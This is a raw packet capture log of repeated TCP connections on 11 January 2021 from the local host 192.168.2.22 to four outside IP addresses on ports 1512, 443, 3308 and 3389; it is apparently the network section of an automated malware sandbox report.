Jan 11, 2021 20:49:03.375560999 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.390240908 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.490773916 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.490823030 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.491020918 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.496596098 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.549427986 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.620457888 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.673031092 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.673136950 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.674427986 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.726675034 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.742063999 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.742222071 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.760307074 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.815342903 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.815507889 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.819653034 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.819797039 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.872081995 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.872215033 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:03.911423922 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.924804926 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:03.924871922 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:04.044924974 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:04.044975042 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:04.045212030 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:04.050928116 CET	49313	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:04.103296041 CET	443	49313	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:04.164963007 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.208349943 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.208513975 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.209861040 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.253099918 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.263566971 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.263591051 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.263658047 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.263694048 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.273996115 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.319679022 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.319777966 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.325341940 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.325494051 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.368617058 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.368760109 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.409260035 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.412089109 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.412182093 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.525186062 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.525234938 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.525490046 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.528112888 CET	49314	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:04.571496010 CET	3308	49314	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:04.647141933 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.700987101 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.701092005 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.702739954 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.756443024 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.784140110 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.784187078 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.784246922 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.784296036 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.797863960 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.857235909 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.857534885 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.867292881 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.867369890 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.921154022 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.921705961 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:04.961016893 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.975711107 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:04.975764036 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:05.064909935 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:05.064941883 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:05.065242052 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:05.065289974 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:05.070864916 CET	49315	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:05.124691963 CET	3389	49315	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:05.194633007 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.247638941 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.247770071 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.249074936 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.301686049 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.308568001 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.308597088 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.308651924 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.310368061 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.320305109 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.374315977 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.374540091 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.383975029 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.384211063 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.437056065 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.437324047 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.476772070 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.490202904 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.591198921 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.591321945 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.591510057 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.597317934 CET	49316	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:05.650346041 CET	1512	49316	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:05.707899094 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.760379076 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:05.760575056 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.762336969 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.814398050 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:05.829690933 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:05.829853058 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.843667030 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.898396969 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:05.898726940 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.909061909 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.909326077 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:05.961628914 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:05.961966038 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:06.014384985 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:06.132555008 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:06.132607937 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:06.132853985 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:06.138571024 CET	49317	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:06.190705061 CET	443	49317	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:06.255512953 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.298820019 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.298918962 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.299638987 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.342982054 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.356349945 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.356405973 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.356472015 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.356533051 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.374430895 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.420120955 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.420283079 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.429613113 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.429816008 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.473747015 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.474112988 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.513081074 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.517478943 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.517515898 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.629527092 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.629580975 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.629616022 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.629669905 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.631709099 CET	49318	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:06.674808025 CET	3308	49318	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:06.737925053 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.791735888 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:06.791841984 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.793404102 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.847004890 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:06.866466045 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:06.866516113 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:06.866595984 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.880650043 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.939811945 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:06.940125942 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.951386929 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:06.952003956 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:07.005547047 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.005744934 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:07.044905901 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.059103966 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.059137106 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.149153948 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.149267912 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.149810076 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:07.150049925 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:07.154597998 CET	49319	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:07.208342075 CET	3389	49319	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:07.270200968 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.389645100 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.389794111 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.391355991 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.444547892 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.452028036 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.452236891 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.453027964 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.468544960 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.522815943 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.523047924 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.535865068 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.536042929 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.589046001 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.589215040 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.628878117 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.643439054 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.643485069 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.743403912 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.743458033 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.743727922 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.748872042 CET	49320	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:07.801883936 CET	1512	49320	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:07.862610102 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:07.914941072 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:07.915080070 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:07.916491032 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:07.968765020 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:07.983521938 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:07.983649015 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:07.999110937 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.053898096 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.054251909 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.064623117 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.064981937 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.117079973 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.117212057 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.155462980 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.169590950 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.169636011 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.288136005 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.288207054 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.288671017 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.295110941 CET	49321	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:08.347321987 CET	443	49321	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:08.408689022 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.452044010 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.452166080 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.453811884 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.496830940 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.507500887 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.507514954 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.507591009 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.521707058 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.566639900 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.566772938 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.577035904 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.577301025 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.620546103 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.620754004 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.661139965 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.663964987 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.664019108 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.777751923 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.777805090 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.778017998 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.783720970 CET	49322	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:08.827090025 CET	3308	49322	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:08.903542042 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:08.957242012 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:08.957304001 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:08.958087921 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.011531115 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.032819986 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.032857895 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.032896996 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.033130884 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.040690899 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.103281021 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.103468895 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.113442898 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.113635063 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.168529987 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.168777943 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.207895994 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.222520113 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.222579956 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.313509941 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.313555956 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.313626051 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.313669920 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.319144964 CET	49323	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:09.374982119 CET	3389	49323	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:09.439758062 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.494465113 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.494577885 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.496702909 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.549556017 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.556406975 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.556468964 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.556565046 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.572899103 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.627495050 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.627809048 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.637834072 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.637962103 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.691287994 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.691574097 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.727818966 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.745064020 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.844935894 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.844990015 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.845216990 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.850774050 CET	49324	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:09.903820992 CET	1512	49324	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:09.968605042 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.020931005 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.021064043 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.022874117 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.074908972 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.091630936 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.091742039 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.105417013 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.363346100 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.363567114 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.412803888 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.467353106 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.467556953 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.477080107 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.477330923 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.529270887 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.529495001 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.581691980 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.581851006 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.671309948 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.752188921 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.752240896 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.752392054 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.757435083 CET	49325	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:10.809629917 CET	443	49325	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:10.873775959 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:10.917104959 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:10.917288065 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:10.919086933 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:10.962234974 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:10.972908020 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:10.972965956 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:10.973129988 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:10.974037886 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:10.999440908 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.044672966 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.044939041 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.054671049 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.054991007 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.098289967 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.098501921 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.138962984 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.141659975 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.255314112 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.255372047 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.255423069 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.255458117 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.257488012 CET	49326	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:11.300580025 CET	3308	49326	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:11.373102903 CET	49327	3389	192.168.2.22	5.100.228.233
